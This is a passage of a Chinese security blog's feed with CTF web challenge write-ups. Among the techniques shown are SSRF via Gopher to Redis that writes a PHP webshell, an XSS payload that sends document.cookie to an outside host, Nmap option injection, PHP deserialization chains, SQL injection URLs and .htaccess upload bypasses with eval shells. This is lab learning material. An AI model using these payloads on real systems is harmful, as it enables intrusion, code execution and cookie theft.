--><p>结合前面获得到的本机ip，或许flag存在内网的其他主机内，使用BurpSuite可以扫描一下内网的主机。结果发现是在.11的主机上，且有提示需要找某个端口下的服务。于是继续用burp扫端口，发现了有Redis的6379端口。由于运行在内网下的Redis服务很有可能是root权限的，于是尝试写入shell。这里使用Gopher协议，将redis协议转换为gopher格式的脚本：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">from urllib import parseprotocol="gopher://"ip="173.118.207.11"      # 运行有redis的主机ipport="6379"shell="\n\n&lt;?php system(\"cat /flag\");?>\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall",     "set 1 {}".format(shell.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="\r\n"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmdif __name__=="__main__":    for x in cmd:        payload += parse.quote(redis_format(x))    print (payload)</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>最后访问内网运行Redis的靶机的shell.php即可。</p><!-- /wp:paragraph --><!-- wp:heading {"level":4} --><h4>[BJDCTF 2nd]xss之光</h4><!-- /wp:heading --><!-- wp:paragraph --><p>首先访问/.git/发现git泄露，hack下来以后得到源码：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?php$a = $_GET['yds_is_so_beautiful'];echo unserialize($a);</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p><a href="https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2">https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>因为有一个echo，所以考虑的是__toString()原生类反序列化。由于flag存储在cookie中，所以直接获取document.cookie即可：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?php$a = new Exception('"&lt;script>window.open(\'http://www.baidu.com/?\'+document.cookie);&lt;/script>');echo urlencode(serialize($a));</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p></p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;Redis和SSRF：&lt;a href=&quot;https://xz.aliyun.com/t/1800&quot;&gt;https://xz.aliyun.com/t/1800&lt;/a&gt;&lt;/p&gt;
&lt;!-- /wp:paragraph --&gt;

&lt;!--</summary>
      
    
    
    
    <category term="未分类" scheme="https://deoplljj.com/categories/%E6%9C%AA%E5%88%86%E7%B1%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>近日学习笔记~8.8</title>
    <link href="https://deoplljj.com/2020/08/2020-08-08-%E8%BF%91%E6%97%A5%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B08-8/"/>
    <id>https://deoplljj.com/2020/08/2020-08-08-%E8%BF%91%E6%97%A5%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B08-8/</id>
    <published>2020-08-08T07:42:08.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:heading {"level":4} --><h4>[GWCTF 2019]枯燥的抽奖</h4><!-- /wp:heading --><!-- wp:paragraph --><p>访问check.php找到源码：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?php#这不是抽奖程序的源代码！不许看！header("Content-Type: text/html;charset=utf-8");session_start();if(!isset($_SESSION['seed'])){$_SESSION['seed']=rand(0,999999999);}mt_srand($_SESSION['seed']);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i &lt; $len1; $i++ ){    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       }$str_show = substr($str, 0, 10);echo "&lt;p id='p1'>".$str_show."&lt;/p>";if(isset($_POST['num'])){    if($_POST['num']===$str){x        echo "&lt;p id=flag>抽奖，就是那么枯燥且无味，给你flag{xxxxxxxxx}&lt;/p>";    }    else{        echo "&lt;p id=flag>没抽中哦，再试试吧&lt;/p>";    }}show_source("check.php");</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>这里使用了php的伪随机数，由于伪随机数存在可预测性，只需要找到mt_srand()所用的种子即可。这里使用到了php_mt_seed（<a href="https://www.openwall.com/php_mt_seed">https://www.openwall.com/php_mt_seed</a>/）</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>根据提供的前几位，将其处理为php_mt_seed可以识别的格式：</p><!-- /wp:paragraph --><!-- wp:quote --><blockquote class="wp-block-quote"><p>php_mt_seed expects 1, 2, 4, or more numbers on its command line. The numbers specify constraints on mt_rand() outputs.</p><p>When invoked with only 1 number, that's the first mt_rand() output to find seeds for.</p><p>When invoked with 2 numbers, those are the bounds (minimum and maximum, in that order) that the first mt_rand() output should fall within.</p><p>When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().</p><p>When invoked with 5 or more numbers, each group of 4 and then the last group of 1, 2, or (usually) 4 are processed as above, where each group refers to a corresponding mt_rand() output.</p></blockquote><!-- /wp:quote --><!-- wp:paragraph --><p>这里使用了官方wp中的脚本来处理：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'str2='uszkTtBiKf'str3 = str1[::-1]length = len(str2)res=''for i in range(len(str2)):    for j in range(len(str1)):        if str2[i] == str1[j]:            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '            breakprint(res)</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>之后放入php_mt_seed来爆破随机数种子：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock --><pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">./php_mt_seed 20 20 0 61 18 18 0 61 25 25 0 61 10 10 0 61 55 55 0 61 19 19 0 61 37 37 0 61 8 8 0 61 46 46 0 61 5 5 0 61 Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62Version: 3.0.7 to 5.2.0Found 0, trying 0xfc000000 - 0xffffffff, speed 401.5 Mseeds/s Version: 5.2.1+Found 0, trying 0x22000000 - 0x23ffffff, speed 31.9 Mseeds/s seed = 0x23e10ad1 = 601950929 (PHP 7.1.0+)Found 1, trying 0x3e000000 - 0x3fffffff, speed 30.1 Mseeds/s</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>种子为601950929，放入php中用题目的源码跑一遍：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?phpmt_srand(601950929);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i &lt; $len1; $i++ ){    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);}$str_show = substr($str, 0, 20);echo "&lt;p id='p1'>".$str_show."&lt;/p>";</pre><!-- /wp:enlighter/codeblock --><!-- wp:heading {"level":4} --><h4>[网鼎杯 2020 朱雀组]Nmap</h4><!-- /wp:heading --><!-- wp:paragraph --><p>网页可以进行一些基本的nmap操作，猜测可能是直接拼接nmap命令。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>简单fuzz一下，发现php关键字被ban掉了，这里可以使用php短标签<code>&lt;?=</code>来绕过</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>获取flag主要有两种方法，一种是上传一个shell，通过phtml来绕过对php后缀的控制，一种是直接利用nmap读取/flag文件，两种方法都要使用nmap的-oG/-oN标签来实现文件写入，通过两个单引号来闭合原有的引号。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>方法一：<code> ' &lt;?= @eval($_POST["hack"]);?&gt; -oG hack.phtml '</code></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>方法二： <code>' -iL /flag -oN hack.txt '</code> //-iL可以实现文件的读取</p><!-- /wp:paragraph --><!-- wp:heading {"level":4} --><h4>[MRCTF2020]Ezpop</h4><!-- /wp:heading --><!-- wp:paragraph --><p><a href="https://www.cnblogs.com/BOHB-yunying/p/12583725.html">https://www.cnblogs.com/BOHB-yunying/p/12583725.html</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>一个比较典型的反序列化题：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group=""> &lt;?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."&lt;br>";    }    public function __toString(){        return $this->str->source;    }    public function __wakeup(){        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {            echo "hacker";            $this->source = "index.php";        }    }}class Test{    public $p;    public function __construct(){        $this->p = array();    }    public function __get($key){        $function = $this->p;        return $function();    }}if(isset($_GET['pop'])){    @unserialize($_GET['pop']);}else{    $a=new Show;    highlight_file(__FILE__);} </pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>一通分析之后发现最后是要靠include+php filter来完成flag文件的读取的，因此可以反向来构造一下pop链，有一个和去年百越杯很像的地方就是通过preg_match来访问的对象都会被当成字符串来处理，因此会触发<code>__toString()</code></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这里的exp是直接使用的引用链接中的：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?phpclass Show{    public $source;    public $str;    public function __construct(){        $this->str=new Test();        $this->str->p=new Modifier();    }}class Test{    public $p;}class Modifier {    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';}$a=new Show();$a->source=new Show();echo serialize($a);</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>poc链是：</p><!-- /wp:paragraph --><!-- wp:preformatted --><pre class="wp-block-preformatted"><br>Show-&gt;preg_match-&gt;__toString()-&gt;Test-&gt;_get-&gt;Modifier-&gt;__invoke-&gt;append()</pre><!-- /wp:preformatted --><!-- wp:paragraph --><p>需要注意的是，由于这里出现了private和protected对象，因此会产生\0字符，在粘贴到浏览器的时候，会变成%20，无法正常运行，因此要手动把%20改成%00</p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:heading {&quot;level&quot;:4} --&gt;
&lt;h4&gt;[GWCTF 2019]枯燥的抽奖&lt;/h4&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:paragraph --&gt;
&lt;p&gt;访问check.php找到源码：&lt;/p&gt;
&lt;!-- /wp:para</summary>
      
    
    
    
    <category term="未分类" scheme="https://deoplljj.com/categories/%E6%9C%AA%E5%88%86%E7%B1%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>近期Web笔记~7.26</title>
    <link href="https://deoplljj.com/2020/07/webnote-7-26/"/>
    <id>https://deoplljj.com/2020/07/webnote-7-26/</id>
    <published>2020-07-26T03:40:46.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:heading {"level":4} --><h4>[HCTF 2018]WarmUp</h4><!-- /wp:heading --><!-- wp:paragraph --><p>php中的文件包含漏洞：<code>?(不存在的目录)/../ </code> 即为当前目录</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在传入payload的时候对?进行二次URL编码</p><!-- /wp:paragraph --><!-- wp:heading {"level":4} --><h4>[HCTF 2018]admin</h4><!-- /wp:heading --><!-- wp:paragraph --><p><a href="https://www.jianshu.com/p/f92311564ad0">https://www.jianshu.com/p/f92311564ad0</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="https://www.leavesongs.com/PENETRATION/client-session-security.html">https://www.leavesongs.com/PENETRATION/client-session-security.html</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>发现源码泄露(Github)，查看源码，发现是基于Flask框架的网页应用。审计route.py查看其修改密码的原理发现其只需要验证session中的username就可以修改。而Flask中的session类似于jwt，是将用户信息加密后直接存储在cookies中，于是可以尝试伪造session。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>三种解法：</p><!-- /wp:paragraph --><!-- wp:list --><ul><li>session伪造：在config中可以直接找到密钥，再利用<a href="https://github.com/noraj/flask-session-cookie-manager">https://github.com/noraj/flask-session-cookie-manager</a>来进行编码解码即可。</li></ul><!-- /wp:list --><!-- wp:enlighter/codeblock --><pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'788dc057f7e92d1118ddf778e2a50872613d5b6542191b592f3832088556a6b873838e827fea3962bb6208862381e67f253607e0711561981944a8904882a602', 'csrf_token': b'4fab5875f365122d51e519d77c826d2f24a46157', 'image': b'Df1w', 'name': 'admin', 'user_id': '11'}".eJxFUE1vgkAQ_SvNnD2UFS4mHkyWEkxmCGao2b0YBQQW1yagETD-9662aa_vvXkfc4fdsSv7GhaX7lrOYNcUsLjD2wEWQFPl6whvxIUlkQVo0wE5dNjG0pT7mtc18cqnKRbI1NI2FsTpiNwOyjz1akokjigrnzgTinWTyPyJudtqJKFPijEgs26UUT86Ezv-40SmsGiyicxqrnk1d7kemTBIZBiQ3NSJbG_k9GhDgTJewmMGed8dd5evtjz_T4h07aq4ip8WJ-Uhx6OW2aA5G5JtOieBPhrduqojReG7i_DotnzZNXZflX9Om0gNxS9z3ltHwL6wzRlmcO3L7vU38Dx4fANn5Gva.XxO4XQ.ttm_eyd619g9tC3YHZ6iq0hx13s</pre><!-- /wp:enlighter/codeblock --><!-- wp:list --><ul><li>Unicode欺骗：在注册和充值密码的时候，各用了一次Twisted的<code>nodeprep.prepare</code> 函数，早期版本的这个函数会造成Unicode安全漏洞，这里在注册的使用ᴬdmin这个用户名，在注册的时候会变成Admin，重置密码的时候就会变成admin了。</li><li>条件竞争：代码见原链接</li></ul><!-- /wp:list --><!-- wp:heading {"level":4} --><h4>[BJDCTF2020]The mystery of ip</h4><!-- /wp:heading --><!-- wp:paragraph --><p>Burp修改xff头，将ip变更为{{1+1}}发现回显为2，说明存在SSTI，尝试后发现是Smarty的SSTI，于是直接传入{{system('命令')}}即可。</p><!-- /wp:paragraph --><!-- wp:heading {"level":4} --><h4>[RoarCTF 2019]Easy Calc</h4><!-- /wp:heading --><!-- wp:paragraph --><p>查看源代码，提示有waf</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>进入calc.php，尝试传参，发现会被waf限制，于是利用php在解析变量的时候会自动去掉变量名的空格，于是直接传入?(空格)num=参数，就可以bypass waf</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>之后使用var_dump+scandir+chr绕过引号检测，转换代码：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?php$str='/f1agg';for($i=0;$i&lt;strlen($str);$i++){    $ret.='chr('.strtoupper(ord($str[$i])).').';}print $ret;?></pre><!-- /wp:enlighter/codeblock --><!-- wp:heading {"level":4} --><h4>[极客大挑战 2019]HardSQL</h4><!-- /wp:heading --><!-- wp:paragraph --><p>fuzz了一下，例如and和空格都已经被过滤掉了，只能报错注入，尝试extractvalue失败，于是使用updatexml:</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database()))),1))%23&amp;password=s">http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database()))),1))%23&amp;password=s</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&amp;password=1%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%23">http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&amp;password=1%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%23</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&amp;password=1%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1))),1))%23">http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&amp;password=1%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1))),1))%23</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>由于updatexml的返回值有长度限制，在这里substr都被ban了，只能用骚操作left()和right()了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&amp;password=1%27or(updatexml(1,concat(%27~%27,(select(right(group_concat(password),30))from(H4rDsq1))),1))%23">http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&amp;password=1%27or(updatexml(1,concat(%27~%27,(select(right(group_concat(password),30))from(H4rDsq1))),1))%23</a></p><!-- /wp:paragraph --><!-- wp:heading {"level":4} --><h4>[MRCTF2020]你传你🐎呢</h4><!-- /wp:heading --><!-- wp:paragraph --><p>一开始上传几个jpg都提示不行，还以为题目坏了，后面发现是题目对于文件大小有限制。只要content-type是image/jpeg，文件拓展不包含php和phtml，文件内容不包含&lt;?php即可成功上传，于是这题考虑改.htaccess，先上传.htaccess:</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock --><pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;FilesMatch "crack.jpg">SetHandler application/x-httpd-php&lt;/FilesMatch></pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>之后上传crack.jpg:</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;script language='php'>eval($_REQUEST[c]);&lt;/script></pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>之后就可以连接shell了，发现system命令已经被disable掉了，于是尝试<code>readfile('/flag');</code>成功</p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:heading {&quot;level&quot;:4} --&gt;
&lt;h4&gt;[HCTF 2018]WarmUp&lt;/h4&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:paragraph --&gt;
&lt;p&gt;php中的文件包含漏洞：&lt;code&gt;?(不存在的目录)/../ &lt;/</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>Xctf Web刷题记录</title>
    <link href="https://deoplljj.com/2020/05/xctf-web516/"/>
    <id>https://deoplljj.com/2020/05/xctf-web516/</id>
    <published>2020-05-16T15:55:52.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:heading {"level":3} --><h3>XCTF 4th-WHCTF-2017 Cat</h3><!-- /wp:heading --><!-- wp:paragraph --><p>有一个框可以输入域名，输入127.0.0.1会返回ping的结果，且URI加上了?url=127.0.0.1。尝试用|拼接命令无果。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这题的考点是<strong><em>Django</em></strong>使用的是gbk编码，超过%F7的编码不在gbk中有意义。于是传入一个url=%88，发现其弹出错误界面。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>经过fuzz以后发现只有数字、. 和@没有被过滤</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在比赛的时候有提示去阅读PHP CURL的MANUAL，查阅之后发现在php 5.5之前可以用@来表示之后要选取本地文件。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>Django中，配置文件存放的目录是(文件目录)/项目名/项目名/settings.py</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>结合刚刚的报错文件，找到<em>/opt/api/api/settings.py</em> 之后再去读取sqlite文件就可以拿flag了。</p><!-- /wp:paragraph --><!-- wp:heading {"level":3} --><h3>XCTF 4th-CyberEarth</h3><!-- /wp:heading --><!-- wp:paragraph --><p>查看源码发现有一个<em>?page=index.php</em>，猜测又是<em>file_get_contents</em> ，于是给他来一个<em>?page=php://filter/read=convert.base64-encode/resource=index.php</em></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>拿到源码，关键部分：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {    echo "&lt;br >Welcome My Admin ! &lt;br >";    $pattern = $_GET[pat];    $replacement = $_GET[rep];    $subject = $_GET[sub];    if (isset($pattern) &amp;&amp; isset($replacement) &amp;&amp; isset($subject)) {        preg_replace($pattern, $replacement, $subject);    }else{        die();    }}</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>学到了一个新的知识：preg_replace的/e修饰符（<a href="https://www.cnblogs.com/dhsx/p/4991983.html">https://www.cnblogs.com/dhsx/p/4991983.html</a>）</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>于是传入pat=任意内容+<em><strong>/e</strong></em></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>rep=shell内容（空格要用%20）</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>就可以拿到shell了</p><!-- /wp:paragraph --><!-- wp:image {"id":640,"sizeSlug":"large"} --><figure class="wp-block-image size-large"><img src="/images/2020/05/image-10-1024x729.png" alt="" class="wp-image-640"/></figure><!-- /wp:image -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:heading {&quot;level&quot;:3} --&gt;
&lt;h3&gt;XCTF 4th-WHCTF-2017 Cat&lt;/h3&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:paragraph --&gt;
&lt;p&gt;有一个框可以输入域名，输入127.0.0.1会返回pin</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
</feed>
